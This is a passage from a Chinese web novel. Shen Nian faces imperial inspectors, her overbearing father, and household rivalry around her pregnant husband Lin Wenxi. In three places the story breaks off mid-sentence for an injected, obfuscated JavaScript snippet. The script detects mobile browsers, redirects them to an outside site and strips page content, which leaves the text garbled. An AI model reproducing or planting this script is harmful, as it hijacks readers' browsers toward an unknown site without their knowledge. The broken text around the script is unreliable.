看着罗督丞此刻突然又想来忍不住眼眶湿润,沈年假装不经意揉了揉眼眶将泪珠抹去,转身迈步到里间将衣裳换上,而后跟着罗督丞到城门口等着迎人。 约摸小一个时辰过后,先有一队人扬着马鞭迎面疾驰而来,都身着五品官袍正中绣着只青雀,为首几人的举着旌旗,其中一面写着的是个沈字。 “我等为钦差卫队,钦差车马即刻就到闲人避退,各府官属请迎。” 沈年抬眉瞧着着正奇怪,被罗督丞用手肘一顶回过神,赶忙跟着跪下行大礼,口中学众人念恭迎钦差,陛下万岁之言。 行完大礼后沈年抬头预备起身,刚露出双眼睛就被马背上的“青雀”威严瞪了一眼,抓着缰绳马蹄朝她迈了一步过来,沈年一惊瞥见四周没一个人起身,慌忙埋下头大喘了几口气。 瞄见马蹄停下没有继续过来,才敢舒了口气。 “罗大人,这几个穿青雀的是什么官职,管什么的。” 沈年心有余悸小声向罗督丞打听。 “陛下近前的亲卫,官小权大。” 沈年:“啊?” 她觉得自己是该去寺庙里拜拜了,怎么一来就被皇帝跟前的人抓到小辫子,她低头在地上撞了几下脑袋叹气。 这里的规矩实在太多,稍一个不留神就不知犯了什么忌讳。 又足足跪了半个时辰,才远远听到车辕在地上隆隆滚过的声响,沈年偷偷捏了捏腿,暗骂道这钦差派头真大,走了半个时辰说是即刻就来,白白叫一众人在地上跪这么久。 车辕浩浩荡荡的停下,扬起尘土呛的她嗓子痒的很,但这种场合她不敢出声恐又坏了哪个规矩,强忍着咳意。 众人又再次面着车厢内齐声叩拜,几位钦差才露出庐山真面目踩着人背从车中下来。 罗督丞起身前去相迎卖笑,沈年只是个微末芝麻大点的总管,自然是没有她什么事静悄悄的跪着。 “罗大人你我许久未见,还是一如往常啊。” 沈年听着前面人群簇拥着寒暄,突然听到熟悉的声音。 稍稍一抬头瞧见沈修撰的脸,想起那旌旗上的沈字,怨自己没早点反应过来。 她怔怔盯着二人说话,罗督丞抬手一指引着沈修撰的视线过来。 她下意识回避沈修撰的眼睛,跪在原地未动,反正眼下这场合她也不宜过去拜见,能拖几刻就几刻吧。 陛下旨意下的严,罗督丞将几位钦差安顿到官署刚落脚,几人未歇便开始问案。 前拥后簇的沈年跟着到了这,也未有跟沈修撰问安的间隙,被罗督丞安排在堂外等着问话。 没想到沈修撰会被陛下派作钦差,沈年在门外徘徊踱步。 若是不相干的人还好说,在沈修撰面前她可要多斟酌几下了,她在官场沉浮多年,眼力毒辣,沈年自小长在她身旁,连林闻溪都能察觉到换了人,何况于她呢。 万一露出什么马脚,以沈修撰的威势岂会容一个赝品戏弄她。 “沈娘子,罗大人唤您进去回话。” 沈年听着下官来传话,如听到了什么催命符一般,无甚生气的点头。 走到门口时她手心都冒出了一层汗,跪在门口禀告入内。 主位坐着两位,一位正值茂年瞧着周身文官的装束,另一位已是年近六旬耳鬓间染上了白发但精神尚好,见到沈年板着脸上下打量几下,然后向身后的沈修撰看了一眼。 沈年向沈修撰躬身低头拜见,“几月未见,母亲可安好。” 沈修撰坐在后面茶桌上,当没听到她的声音似的潜心煮着茶。 沈年起身也不是,再说一遍也不是,弓着腰尴尬僵在原地。 她被屋里的几双眼睛盯着,连手都不知道该往哪放好,转头看向罗督丞求援。 罗督丞站出来为她打圆场,“此案大概我跟几位大人禀过了,全赖这小辈的功劳,几位大人若想知道细处可问她便是。” 那文官先开口问道:“罗大人说的奇,那几个犯案的互相包庇做的滴水不漏,我倒想问问沈小娘子一开始是如何查觉有异的。” 沈年总不能说她提前知道剧情,情急之下将起因说到翠娘身上。 “是翠娘弟弟从园中传信,翠娘为救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334048|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他找上了我帮忙,我趁着夜里一验果真有此事,便上报罗大人了。” “听闻沈小娘子所说的那女子已然死了,她那个弟弟如今正在你院中养伤。” 沈年沉声道:“是。” 文官敲着茶盏啧舌:“沈小娘子本事多的很,能神不知鬼不觉的验坝,还可穿墙过院,更厉害的是顷刻间便能夺人性命,真是神乎其神呐……” 沈年故意用了一副瞧不上她的口气露怯:“没什么稀奇的,天打雷劈大人没听说过吗?只需稍稍用一些手段,谁人都可以做到。” 沈修撰在后咳了一声。 “沈大人的女儿善制工具可是在这兰城有名的,宋大人一路来没听说过不是成?” 一直板着脸坐的老臣开口替沈年说话,“她算的上是有大功,听闻还被那刘氏拿刀架在脖子上相逼,宋大人不赏便罢了,怎可拿人当犯人一样审问。” 沈修撰终于动了动身,从后面缓缓迈出步来朝沈年摆摆手,“你先退下,回去拜见你父亲,我与两位大人要商议下如何给陛下回奏。” 沈年脑子乱成一锅粥,惊讶道:“父亲他也随您来了?” 罗督丞背身道:“嗯。” “那女儿先告退。” 沈年三步并作两步从堂中退出来,一路跑着往院中去。 林闻溪身怀有孕,这几月又跟着她养的规矩忘了许多,哪能独自侍应过的来沈父。 院门口伫立着两个沈府来的小侍从,见到她躬身行礼。 “三娘子好。” 沈年顾不上搭理二人,推门便往里面进,不大的院子里挤着站了两排小侍。 小薇和白石也学着府里人的规矩,木头一样跟着杵着,二人默契的摆头向正屋,双双朝沈年使了个眼色。 一进门沈父正一脸愠色的教训林闻溪,林闻溪立在他身旁垂耳听训。 他的手握不住半悬在空中,上面一道道鲜红的戒尺痕。 他见到沈年下意识往门口走了一步,而后扭头看向沈父不敢再动,眼睛盯着沈年有千言万语的委屈。 “爹爹,您又打他做什么。” 沈年心揪成一团,将林闻溪拉到自己身后气的向沈父讨说法。 沈父将手中的戒尺狠狠一摔,“爹爹一路舟车劳顿专程来看你,你倒好一进门来,不问一句安,反倒替他跟我发起脾气来了,当真是翅膀硬了!” 沈年扭头问身后的林闻溪:“你没说吗?” “父亲一来,我便说了。”林闻溪小声道。 沈父指着林闻溪愤愤道:“你不必在我女儿面前告状,有孕的男子多了去了,难不成个个像你这样失了规矩在榻上日上三竿还不起,等着娘子回来伺候不成!” “父亲我只是身子不爽,并非等着三娘回来照顾我。” 林闻溪从沈年身后出来哭着说道,转眼又要跪在地上向沈父道歉。 沈年将他拉起来按到里间榻上,林闻溪趁着这只有二人在的片刻间隙,抓着她的衣袖抹泪。 沈年抱着他在怀中心疼,“你就坐这里面别出来,有我在呢。” 林闻溪将头埋在她腰间抽泣着点头,“三娘,我的手好痛。” 沈年在药箱中翻出一盒膏药给他,擦了擦他脸上的泪,“你自己抹点药,我得出去了。” 林闻溪捧着药凑过去在贴了贴她的唇,“三娘,我只有你了。” 等沈年痛心走了出去,林闻溪利落的一把抹掉自己的泪。 他承认自己真心爱沈年没错,但为了自保不得不故作可怜博她的疼惜。 沈年对他好,不是因为别的。只是她人好罢了,她对所有人都好,包括那个院中那个被伤的千疮百孔的清茸,她对那样的人都是好的。 他扇了自己一掌权当做是替沈年打的。 19. 第 19 章 沈父揉着太阳穴黑沉着脸又朝着外面的小侍从发火,砰的一声将茶盏摔倒门框上。 “你们个个没长眼睛不是,还不快将我的药丸取来。” 沈年见状撩开帘从里面探出身子,抢先一步从小侍手中接过小药匣,又捧了一盏温水关切送到沈父面前。 “父亲您别气坏身子了。” 沈父抬起一面眼皮瞟了沈年一眼,仍是十分不快的哼了一声。 沈年做小伏低半跪在地上为沈父捶腿,打量着他的脸色为林闻溪说话。 “父亲您不知,他这胎怀的不好,大夫说恐保不住,我也是怕万一您失手有什么闪失可怎么办好。” 沈父一听反倒火气更盛了,瞪大了眼拖长声音问道:“什么叫保不住?” 沈年没成想这话又火上浇油,手僵在原地更小心解释道:“大夫说他身子先前受了寒……” “女儿这话不是要归咎到我头上来吧,我不过让他在外面站了几日而已。” 沈父推开沈年的手站起身特意面朝里间指责道,“明明是他个不中用,若是生不了沈府抬他进门有何用!” 沈年见他变本加厉,懒得继续装孝女从地上爬起来。 “他如今身子孱弱,父亲作为至亲不关怀也就算了却要动辄打骂,如此言行恕女儿不敢认同。” 沈父气急败坏一手拍着桌子,一手指着沈年怒斥:“好啊一个个都反了天了,那林氏给你吹什么枕边风了,现在我是一句话也说不得了。” 他说罢甩了甩袖子,扶着身旁的小侍风风火火的向外走去,院中的其余人也跟着出了院门,沈年倔在原地也不动身去送。 听到外面的马鸣了一声,马车急驰而去。 林闻溪在里面听着沈父的责骂,将手指上的药膏一下下重重的按在伤痕处,每按一下心中的记恨就更深一分。 当初两家结亲他初次与沈父相见的时候,他一副慈心宽厚的面容,生怕这一桩亲事也黄了。等他一进门就变了脸色,一面贬他是外室所生出身不好,一面又怪罪他无用,拢不住妻主的心,让她成日在外厮混。 眼下沈年有了前程,沈父自然腰板硬更看不上他了,说不准想着给他安一个不能生养的罪名将他打发出去,为沈年再挑个出身好的,带出府去沈家的面子上也更好看。 朝中极推崇孝道,沈年即便有心护着他,也难拧的过父母之命。 唯一可救他的,只有腹中的这个孩子了,他就算赌上半条命也要把这孩子保住 林闻溪见沈年进来将眼中的怨恨隐藏起,楚楚可怜的看着她。 “父亲这是往哪去了?” “这里本也住不下,应该是去官署寻母亲去了。”沈年接过他的手掌看了看。 “母亲她也来了?” 沈年又重新帮林闻溪涂上一层药,低头点头道:“她被陛下派来查案子。” 林闻溪闻言手一颤,“三娘别管我了先跟去劝劝,母亲若知道你我二人将父亲气出门定要申斥你了。” “是父亲行事不妥在先,母亲也一味在旁人面前端她的架子,我为何要再去拿热脸去贴,更何况他们本也不是我的父母。” “三娘慎言。”林闻溪捂上沈年的嘴巴,向门口打量了一眼悄声道,“这话可不可乱说。” 沈年闻到他手上的药膏味颓了气。 林闻溪的身子耽搁不得,她一直在兰城在京中又无甚门路,寻医的事还得求沈修撰想法子,现在不是她逞气的时候。 她无奈叹了口气,起身出门去追沈父的马车,走了一条街也不见踪迹,倒是瞧见一众人聚在一处指着面墙,你一言我一语的说的热闹的很。 她钻进人堆里一看原来是张皇榜,又眯着眼睛念上面的字,念到一半便等不及推开人群挤到前面,一跃将榜揭下。 榜下的立着的两个官差从腰间抽出一张纸,边展开边向她道:“小娘子可看清楚了,揭了这榜修不完坝可是要砍脑袋的。” “我既敢揭,自是能修好。” 沈年将手中的皇榜卷起,生怕人抢走一样塞进自己袖中,在官差递来的纸上利落签字画押。 “谁信呐,如此长的坝只剩三四个月如何能修的好。” “我看趁早收拾细软逃命去才是正理,信这么个名不见经传的小娘子,等发大水淹到你家门口悔也来不及了!” 人群中的两个一壮一老先挑起话头置喙,引得众人连连唉声叹气。 沈年取下官差腰间的刀在墙上敲了敲,等众人安静下来镇定道:“大伙一时半会背井离乡离开兰城又能去逃到何处去,眼下我也不讲什么大话,等过两日大家见到成效,那时再决定去与留也不迟。” 见自己的话奏效,沈年转头跟着两位官差前去复命。沈年跟着到堂中,里面仍是二位钦差,但不见沈修撰的面,估计是为避嫌。 “沈小娘子真是不鸣则已,一鸣惊人,京中人谁人能想到沈小娘子能有如今这般造化。” 文官手执着御赐的文书缓缓行到沈年面前,口中的夸赞之语听起来却别有意味。 “宋大人过誉。” 沈年朝她露齿一笑,装一副听不懂她言外之意的傻样。 文官被她的表情噎的一哽,甩脸说了句跪下接旨。 沈年恭敬磕了三个响头,将手举过头顶。 文官垂头瞧见她包着纱布的手掌,故意在半空松开手,砸到沈年手上。 沈年吃痛强忍着将喉间的声音压了回去,见圣旨如见圣上,圣前失仪可是大不敬。 “沈小娘子,我的手刚才一时脱力,莫要怪罪。” 沈年与这位宋大人素未谋面,不知她为何处处刁难,好言说了声无事出门去往沈修撰下榻的院中去。 隔着门扇就听到沈父的哭诉声,沈年无语撇了撇嘴后才叩门。 “母亲,女儿前来拜见。” 沈修撰的声气却是很温和:“进来吧。” 沈年一进门先二话不说磕头行礼,伏在地上偷瞟着二人的脸色,而后认错道:“女儿一时脑热惹了父亲伤心,请母亲责罚。” “可听见了罢,莫要在此胡闹了。”沈年听到沈修撰朝着沈父说道。 她伶俐的挪到沈父脚边,目光诚恳,“父亲要打要罚女儿都任,您别为着我气坏了身子。” “罢了,罢了。”沈父瞧着沈年瘦窄了的小脸,不再气了伸手在沈年胳膊上扶着她起来。 一眼却瞧见沈手上纱布染的血,心急拉到近前细看,“这么深的伤口,如何弄的。” “没当心伤了一下。”沈年心虚的将手往回抽了抽,“刚才被宋大人失手砸了一下,可能又裂了点口才渗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林闻溪未睡听到声音起身,“天又不凉,在屋子里睡久了闷,我自个要在这坐会等你的。” 沈年将炉上的药壶拿起来,倒上一碗药端进屋内,林闻溪跟着她进屋,盯着她的手。 “听闻三娘揭了皇榜,怪我把你的手弄伤。” 沈年到门口一同向院中的两人说:“我手伤这事在外人面前就说是我自己弄伤的,尤其是在父亲面前,一个字都不能提。” 说毕又拿起药勺吹了吹喂到林闻溪面前。 林闻溪乖乖凑过去喝下,抬眼看着沈年像只听话的大犬。 “母亲可又罚你了。” 沈年瞅着他的表情笑了一声,“没有,还答应明日就去信在京中给你请大夫呢。” “是吗?”林闻溪又张嘴喝下一大口药,“那我要好好喝药,快点好起来。” 沈年听到他说的话觉得酸楚,将药勺递过去的时候手都在抖。 夜里林闻溪睡不安稳,沈年留心着他翻身的动作,半夜失眠拿起那张皇榜来看。 当初想要这东西,是为了能与林闻溪和离,不成想如今却是用来护他的。 20. 第 20 章 “三娘,你听外头是什么响动。” 林闻溪被沈年压着手脚动不得身,边出声唤边用脑袋蹭她,沈年半仰起身子半梦半醒的去听。 又是扫院子的又是剁菜的,还有在砧板上捣衣的,一声声敲打人也跟着心颤。 沈年下榻微支起点窗缝去看,原是沈父身边的那几个小侍在忙活。 她心烦揉了揉鬓发,朝林闻溪说了一声,“又是父亲的人。” 林闻溪闻言慌里慌张下榻将衣裳往身上披,口中絮絮念着:“父亲不见我起来,怕又要寻我的茬了。” 边说着钻到沈年身前,脑袋偷瞄着院中怎么回事,手中牵着她求援,“我的手还痛着,三娘给我系下衣裳。” 他一个人乱做一团。 “父亲没来,不用怕。” 沈年俯首下去理他的衣衫。 林闻溪虚惊一场扶在她肩上,“三娘又唬我。” 沈年笑他:“你自个和耗子见了猫一样,话都没听清就钻过来,又怪我了。” “三娘没见到昨日父亲气势汹汹进屋里瞧见我的架势,若不是我躲的急就要被父亲命人从榻上拖到地上立规矩了,全凭有我们的孩儿在才算作罢。” 林闻溪在沈年面前嘴里的话不少,另又添油加醋了几分,绘声绘色为沈年讲述昨日的“凶险”情形。 沈年只记着他善下药毒人,没料想林闻溪还会这般搬嘴弄舌,卖惨取巧的招数,将他的话全数信了。 沈年抬起头来,抱他在怀中安抚道:“你一向也不是个软柿子,怎么就成了只羔羊任他揉搓。” 林闻溪枕在她肩上,“父亲打心底里不待见我,又是顶在头上的长辈,此时我能翻出什么浪来,姑且熬着吧。” “我日后是顾不上你了,你要自个想想法子才是。” 林闻溪在背处微微笑着。 “三娘子和少君该起身了。”小侍在屋外轻轻叩门。 林闻溪拉着沈年坐到塌边,在铜镜前理了理仪容前去开门,沈年意会半倚在软枕上假装打着哈欠。 那小侍合手进屋中来拜见,“少君有身子不便照料三娘子,主君命我前来服侍。” 沈年装腔作势的嗯了一声。 小侍便到近前越过林闻溪,搭手扶着沈年下榻,娴熟的取下沈年的衣衫为她穿衣。 那人生的柳眉俏眼,身形更让人移不开眼长的细腰宽胯,一瞧就是好生养的。尤其是那双嫩生生的手,停在沈年身上打着理衣裳的幌子摸了好几下。 林闻溪瞧着小侍的路数,就知道沈父这是想他到沈年榻上伺候才差不多。 “我虽不济服侍三娘穿衣的力气还是有的,你先下去。” 林闻溪实在看不下去欲将小侍从沈年身旁支开。 “少君,主君吩咐过了这些事由我做便好,您好生歇着。” 这小侍是沈府的家生子,自小便在沈父跟前听用,做了十多年下人谁都想过有朝一日能飞上枝头做一回主子,此番得了沈父的意有恃无恐,半点都不惧林闻溪。 见他提起沈父,林闻溪不好发作,沈年替他开口斥责了一句:“他是主子还是你是主子,父亲从哪寻来的人这般不懂规矩,我等会去回了父亲问一问。” 小侍一听这话垂首将身子缩起来,府中人都晓得三娘子是沈父的心肝,惹了她不快沈父溺爱起来,拿下人给沈年出气是常事,手段他是见识过的,害怕向沈年求情道:“我一时失言,求三娘子宽恕。” “这是我和少君院中,不是在父亲面前,最好安分些。” 沈年迈步向林闻溪给两人冷声甩下句话,他一时不敢再作声。 坐到桌上,沈年下意识先舀了一碗粥端给林闻溪,林闻溪咳了一声提醒。 “你且帮我尝尝味道如何,烫不烫嘴。”沈年找补了一句。 林闻溪握勺抿了一口,装了一副被烫到的样子掩着嘴做痛。 沈年配合着他演的像模像样,十分嫌弃道:“做什么都笨手笨脚的,当心咽到肚子里烫到我女儿。” 说罢转头吩咐那位小侍,“还杵在那做什么,还不赶快去给他晾杯凉水来,呆头呆脑的。” “是……是。” 小侍灰溜溜的出了门去。 林闻溪光顾着夸沈年演的好,沈年一碗粥喝完,他的几乎还未动。 沈年赶着出门上任,留了他一人在桌上。 林闻溪在林府偌大的后宅中浸了多年,深明后院中男人暗地里的你争我斗。 他刚有了孩子,沈父就火急火燎往自己女儿身边塞男人。大抵是看见沈年对他上了心,日后他若再生下沈家的长孙女,便要在他这个新婿面前落下风了。 若扶这几个心腹小侍到沈年跟前,日后生下孩子沈父养在自己身边,也算有个底气。 林闻溪洞若观火,一口口喝着粥思忖。 他对沈父暂且无计可施,但拿捏起一个小侍来却有的是法子。 若搁从前他也不必费太多心思去周全,但现在顾虑着沈年,他不能做的太狠。 林闻溪放下碗勺,唤小侍进来替他的手上药。 沈年不在小侍不再那般谨慎,上药的动作没个轻重,林闻溪面不改色的瞧着他温声问道:“多大年纪了,可许了人家。” 小侍道:“我十七了,还……未有人家。” 林闻溪也不拐弯抹角,坦然问他:“主君是不是有意让你给三娘做个通房阿。” 小侍臊着脸点头,“主君说他今日见到三娘子的面就知会她一声。” “是吗?”林闻溪暗气了一声,他果然猜的没错。 小侍说出一早藏在肚子里的话,让林闻溪没办法不接受他,“主君说少君若有不愿,可去同他商议商议。” 林闻溪从容笑笑:“既是父亲挑的人,我有什么不愿的,正巧我有了身孕不能服侍三娘,如此三娘也不必寂寞了。” “多谢少君。”小侍伏在地上磕头道。 “先别急着谢我。”林闻溪用脚尖将他的肩抬起,“我的话轻飘飘的没什么用,要看三娘她能不能看的上你。” 小侍有些心气,向后避了避,他晓得沈父有多不喜林闻溪,因此也不怕与他撕破脸皮。 “三娘子从前在府中的时候就曾于我有意,想来是看的上的。” “女子心易变,也许那时喜欢现在又不入眼了呢。”林闻溪摇头啧了一声,“你瞧她今日正眼看你一眼没有,怕是根本都没有认出你来吧。” 小侍被噎的说不出话来。 林闻溪站起身来,故意摸着自己的小腹有意炫耀道:“三娘子从前都不入我的屋子,如今我怀了孩子还夜夜与我同寝,可见她的心在何处了。” “三娘子在这兰城,身边只有少君一人,与少君修好也不为过。” 林闻溪弯腰下去擦了擦小侍脸上的脂粉,故意激他道:“她如今最不喜欢这些东西,一股子俗气。” 又捏着他的下巴将他的脸左转又转,瞧了几眼叹气,“这脸太过艳丽,还有这身子太干太瘦,估计你脱光了在塌上她都不想碰一下呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337740|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小侍甩开脸,“我才不信,有主君作保,天长日久的总有动心的时候。” 林闻溪呵呵一笑,“三娘现在有主意的很,怎会任主君摆布,先不要说什么天长日久,先能爬上她的塌再说这梦话吧。” 林闻溪杀人诛心,小侍从屋中奔出去伏在水井上端详着自己的脸。 明明是人人都称道的好颜色,怎就被林闻溪几句话贬成这样。 他捧一把水到自己脸上,将眉黛脂粉洗的一干二净,留了张干净的脸。 看着水中的浮影与林闻溪的脸相较,分明并未差下多少,他们的三娘子如今前途可待,想着日后的荣华,他想定主意起身出门去。 林闻溪在他背后瞧着,得意的抹着笑。 这边沈年走马上任,却是忙的脚不沾地,头一桩大事就是要再找官府布告再征调三成人力过来。 这是个十足的苦差,尤其修的还是条土石坝,挖渠导流、采石挑土,劳作一日下来浑身的骨头都要散架了一样,又苦又累却挣不了几个铜板。 但凡有别的能糊口的营生,没人愿意干这苦差事。来的七八成都是短工,干十天半月寻到别的活计就再也不来,能留下长久干下去的大多都是些老妇,懒懒散散的讨口饭吃。 管人管账不是沈年的长处,她去寻罗督丞讨教议了许久,拟好了章程呈送到官属去。 沈修撰和那位老臣专管的事查案子的事,那位宋知拂才是沈年的上官,案子查完也还要留在此督工。 一见她,那位宋大人就免不了要扔几句酸言酸语。 “这大晌午的沈小娘子空着肚子在此奔忙,可真是够勤勉的。” 沈年挤出笑脸应承:“宋大人此刻不也在忙政事嘛。” 昨日听沈修撰说了这位的来历,其父是先帝的二皇子,她是当今陛下的堂姐,年轻有为极受陛下倚重,可说的上真正的天潢贵胄。 沈年认清形势,此时在她面前乖巧的像只兔子。她哪里又能猜到这举动落到宋大人眼里,反觉的她谄媚无骨,心下更对她生厌了几分。 不过她倒是公私分明,听沈年说起正事来十分认真,频频点头。 “若能缩短工期,工钱倒是可以加,但你在这图中画的……我要见实物才可信。” 沈年道:“我一并带了来的,宋大人可挪步到堂外看一眼。” 宋知佛跟着沈年到堂外一看,摆了有十来样用具。 “这坝本不难修,难得是采石运料极其繁重耗时费力,按工序我一应制了工具来,特别是这小推车省力好走,”沈年将她引过去,“宋大人可上手试一试。” “不必试了。”宋知佛背手目光复杂地看了沈年一眼,“依你所言尽快动工。” 宋知佛转身往堂中去,提笔洋洋洒洒写了一张布告交给在侧的下官,“往周边几县都分发下去。” 沈年跟着出去收整好外面的用具,待布告张贴上后又将东西摆上亲自揽人。 整整站了一日也算是小有收获,日暮收了摊子往回走。 谁知沈父的人早已在角落了等了多时,迎面走上来:“三娘子,主君请你过去一叙。” 沈年一脸不想睬的神情:“昨日不才去拜见过,父亲他又有何事找我。” “主君说是喜事,三娘子定会欢喜的。” 沈年靠在马车里摇摇晃晃一路过去,到了沈父屋中,瞧见那今晨那位小侍羞眉臊眼跟沈父一同坐着,穿着一身主子才用的锦衣绣袍,便猜到她这位好爹爹又给她准备好什么喜事了。 21. 第 21 章 小侍低眉顺眼起身向沈年执礼,沈父招手示意沈年到他身边来坐下。 “年儿如今屋里没有个服侍的,爹爹瞧着这孩子不错,便送他到你房中伺候如何。” 沈年挤了下眉叹息,端起桌案的酒壶倒了一杯饮下解乏,而后将酒盏重重按到桌上道:“有一个林氏已经够让女儿分神的了,再多的一个我也不要,还请父亲日后少为我做这些媒。” 沈父嘴角的笑容僵住,错愕的看向沈年。从前他几番拦着沈年都能寻到空隙调戏他身边这个小侍,现在捧着送给她却不要。 只要林氏一个......凭什么他殚精竭虑一手拉扯大的女儿,如今却要挣开他、忤逆他,平白向着一个外人。 沈父变脸命令道:“年儿要违抗父命不成,照我说的今夜便纳他入屋就是。” “父亲你……”沈年正要出言抵抗,又听得身后林闻溪的声音。 林闻溪笑脸吟吟从门外走进来,走到沈年身边欠身向主位的沈父问安,也不顾沈父的脸色扶着沈年的手道:“昨日听三娘告知母亲也在,小婿还未曾拜见,听说三娘在这便擅自跟来了,未扰了父亲清静吧。” 沈父道:“你来的正好,我倒要问问,是不是你在年儿面前挑唆不让她纳新人的。” 林闻溪直喊着冤枉:“父亲这话从何说起,三娘是我的妻主,只有我听她的话,哪有我做她主的事情。” 书中林闻溪深谙后宅算计的手段,是个一顶一的宅斗好手。沈年看他此刻如鱼得水,甩开衣摆翘着腿坐下,自顾自夹着小菜等着瞧林闻溪要施展什么手段。 林闻溪指了指那小侍,“父亲可问问他,我今日可允了这事的,还好心指点了他如何讨得三娘欢心,您仔细打量他的那脸便知。” 沈父扭脸一寸寸细看,越看越发觉他有一丝似林闻溪的模样,二人长的并不相像,只是他将自己照着林闻溪脸上妆,硬将自己的脸仿的有一两分像。 沈父压着嘴角,表情一点点变得冷硬。 “主君……”小侍看在眼里声音发抖地跪到地上说。 “谁教你化成这副模样的,你莫不是忘了谁才是你的主子。” 小侍匍匐到沈父的脚前,知觉到中了林闻溪的毒计,沈父是要他到三娘子跟前分林闻溪的宠,他如此这般是弄巧成拙。 若是只有长的像林闻溪才能得沈年欢心,便是印证了沈年独爱林闻溪,沈父扶持的是一个扮做他样子的赝品,更长了他的风头才对。 小侍一手抓着沈父的裤腿,眼神愤恨指着林闻溪尖声道:“这都是少君教我的,是他存心陷害。” “我可是存着一番好心,而且我那句话教过让你扮我的样子了,”林闻溪抬起手背抹了抹泪珠,躲到沈年身后推了推她的肩,“三娘可要为我说句公道话。” 沈年扬起脸,看向那小侍惋惜地拍了下腿,“我回父亲的话回的早了,现在这模样瞧起来是比今晨见到的更入眼几分。” 沈父闻言气的脸都青了,扯开小侍的手拍桌子道:“蠢东西,还不滚下去,在这碍我的眼。” 小侍咬着后牙侧眼钉了林闻溪一眼,满腔的憎恨在地上磕了个重重的响头后退了下去。 沈年听见林闻溪在她头顶上不屑地冷笑了一声,假装不经意用手肘碰了他一下。 林闻溪回神过来又再自影自怜的垂泪,向沈父辩解:“父亲可不能轻信一个下人的话,恼了我。” “老是哭哭啼啼的成什么样子,”沈年假意叱了林闻溪一句,转头向沈父道:“父亲您也瞧见了若屋里再添个人免不了成日吵嚷,女儿要务在身,纳侍的事就此作罢吧。” 沈年见沈父要启唇驳他,又抢着拿话堵他,“或是一会回了母亲,问问她的意思再议。” 沈父心中明镜一般,沈年是一心向着林闻溪,两人这是在他面前唱双簧,竟还搬了沈修撰出来压他。 他心下凄凉,满肚子的苦怨不知往哪处倾泻。 他默声长长看向沈年一眼,才发觉他的女儿说不上来是哪,与从前较变了许多,恍惚间都要认不出来了。 他将视线转向沈年肩上的那只手,万般后悔当初为沈年定了这门亲事。 是林闻溪从他手中抢走了她的女儿,抢走了他在沈府中唯一剩下的慰藉。 沈父挺直脊背起身站定,直直走过去扇了林闻溪一掌。 沈年阻拦不及抬手扶着林闻溪。 她真觉得这一家子老的小的,个个都像个疯子不可理喻。 沈年拉上林闻溪的腕便背身要走。 沈父扯着嗓子喊到:“我当父亲的管教你们有何不可,你不道一声就走这是什么规矩!” 沈年松开林闻溪的手,转头语气决绝道:“这个父亲,我不认了又怎样?” 沈父瞪着眼珠:“你说什么!” 林闻溪捂着脸在旁听着也被沈年的话嚇了一下,“三娘……” 沈年取出怀中的檀木盒,将御赐的引凤钗举到沈父面前看。 “即便我此刻就出门到官府改名换姓,父亲又能拿我如何呢。” 沈父颤着身子将沈年的手推回去,双手捧着她的肩道:“你……你这孩子莫不是脑子糊了,说这些疯言疯语。” “是父亲要一意孤行。” 沈父忙哄道:“好……乖女儿,你不愿便不愿,爹爹日后不逼你,也不会再对他动手就是了。” 见沈年脸色缓和下来,沈父又拉着沈年往下坐。 “陪爹爹用完饭再回吧,”沈父特意向林闻溪也抬手,“贤婿也一同来坐。” 刚才的剑拔弩张陡然又变成了一派和气。 饭毕沈父还备了马车送二人回去。 沈年掐着眉心闭目养神,林闻溪揽着她的腰靠在肩上。 “三娘今日怎突然冒出那么一句话。” 沈年抬了抬肩问林闻溪:“我们日后回京也不回沈府去住了,你可愿意。” “只要和三娘一处我没有什么不愿意的,不过不回沈府要去何处?” 沈年道:“买间小院子。” 林闻溪在沈年侧腰上抚了抚,婉言给她浇了头凉水:“父母尚在堂,三娘又是沈家的独苗,官场上一向最看重这些孝节名声,三娘如何好出去独住。” 听见沈年惆怅叹了一声,林闻溪坐起身来探出手指刮了下她的眉,舒缓她的疲惫。 沈年静静看着他,想摸摸林闻溪面颊上残留的指痕,抬手却见到手上缠着的纱布,两人此刻都带着伤,像一对苦命鸳鸯。 车辕行在这条长长的寂静的长街,许久也走不到头。 幸好在这夜中还有对方相伴。 沈年一寸寸凑近在林闻溪脸上的红痕上落下一吻 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回去院中林闻溪干脆把自己锁到里屋,不听沈年讲话了。 沈年气的拍门,林闻溪快睡时才开门让沈年进去,将自己蒙在被中捂着耳朵。 两人到后来莫名冷战起来。 有了先前那一遭,沈父态度大变,对林闻溪十分热络起来,偶尔还亲自过来关照林闻溪,叮嘱吃喝。 京中的大夫也寻到了,沈父请了车夫急送过来。 沈年接连两日征够了劳工,盘点着开工已一连两日都未回家中。 林闻溪每日被沈父逼着喝些倒胃口的汤药,不知是不是沈父故意捉弄他,那些汤不是苦的难以下咽,就是有一股怪味,他喝上一口一整日什么都吃不下了。 